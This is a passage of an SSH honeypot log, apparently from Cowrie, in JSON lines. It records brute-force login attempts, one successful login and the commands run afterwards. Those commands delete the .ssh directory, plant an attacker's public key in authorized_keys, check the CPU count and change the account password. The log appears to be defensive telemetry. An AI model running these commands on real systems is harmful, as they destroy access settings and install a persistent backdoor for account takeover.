":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:21.656755Z","src_ip":"91.92.42.133","session":"b8d4c3ffd7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50648,"dst_ip":"159.203.135.109","dst_port":22,"session":"58875f28a1b2","protocol":"ssh","message":"New connection: 91.92.40.171:50648 (159.203.135.109:22) [session: 58875f28a1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:22.193227Z"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:22.290321Z","src_ip":"91.92.42.133","session":"b8d4c3ffd7d6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:22.359322Z","src_ip":"91.92.40.171","session":"58875f28a1b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:22.362264Z","src_ip":"91.92.40.171","session":"58875f28a1b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.76.112.4","src_port":58020,"dst_ip":"159.203.135.109","dst_port":22,"session":"84b795baba1b","protocol":"ssh","message":"New connection: 61.76.112.4:58020 (159.203.135.109:22) [session: 84b795baba1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:22.421035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:22.433052Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:22.632946Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:23.338256Z","src_ip":"91.92.40.171","session":"58875f28a1b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2026","message":"login attempt [admin/admin@2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:23.466177Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:23.611564Z","src_ip":"91.92.42.133","session":"b8d4c3ffd7d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:24.135090Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:24.137859Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:24.141113Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:24.345895Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:24.593168Z","src_ip":"91.92.40.171","session":"58875f28a1b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:24.792216Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:24.794765Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:25.005958Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:25.009632Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.76.112.4","src_port":59031,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8f1d3dfc7bf","protocol":"ssh","message":"New connection: 61.76.112.4:59031 (159.203.135.109:22) [session: e8f1d3dfc7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:25.196851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:25.201248Z","src_ip":"61.76.112.4","session":"e8f1d3dfc7bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:25.396777Z","src_ip":"61.76.112.4","session":"e8f1d3dfc7bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:26.214501Z","src_ip":"61.76.112.4","session":"e8f1d3dfc7bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:27.413738Z","src_ip":"61.76.112.4","session":"e8f1d3dfc7bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.76.112.4","src_port":59786,"dst_ip":"159.203.135.109","dst_port":22,"session":"c960e3fc81e4","protocol":"ssh","message":"New connection: 61.76.112.4:59786 (159.203.135.109:22) [session: c960e3fc81e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:27.610790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:27.623063Z","src_ip":"61.76.112.4","session":"c960e3fc81e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":53026,"dst_ip":"159.203.135.109","dst_port":22,"session":"12b3e12b543b","protocol":"ssh","message":"New connection: 91.92.40.171:53026 (159.203.135.109:22) [session: 12b3e12b543b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:27.692517Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:27.821495Z","src_ip":"61.76.112.4","session":"c960e3fc81e4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:27.919852Z","src_ip":"91.92.40.171","session":"12b3e12b543b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:27.923355Z","src_ip":"91.92.40.171","session":"12b3e12b543b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:28.658579Z","src_ip":"61.76.112.4","session":"c960e3fc81e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"1234","message":"login attempt [nobody/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:29.078092Z","src_ip":"91.92.40.171","session":"12b3e12b543b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51622,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8f840603d68","protocol":"ssh","message":"New connection: 91.92.42.133:51622 (159.203.135.109:22) [session: a8f840603d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:29.081871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:29.087071Z","src_ip":"91.92.42.133","session":"a8f840603d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:29.167950Z","src_ip":"91.92.42.133","session":"a8f840603d68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:29.413182Z","src_ip":"91.92.42.133","session":"a8f840603d68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:29.862728Z","src_ip":"61.76.112.4","session":"c960e3fc81e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:30.116528Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:30.119097Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:30.357434Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:30.407371Z","src_ip":"91.92.40.171","session":"12b3e12b543b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:30.569192Z","src_ip":"91.92.42.133","session":"a8f840603d68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:30.804648Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2026\\nA1wiconbiLCe\\nA1wiconbiLCe\"|passwd|bash","message":"CMD: echo -e \"admin@2026\\nA1wiconbiLCe\\nA1wiconbiLCe\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:30.807508Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:30.810729Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:30.813879Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
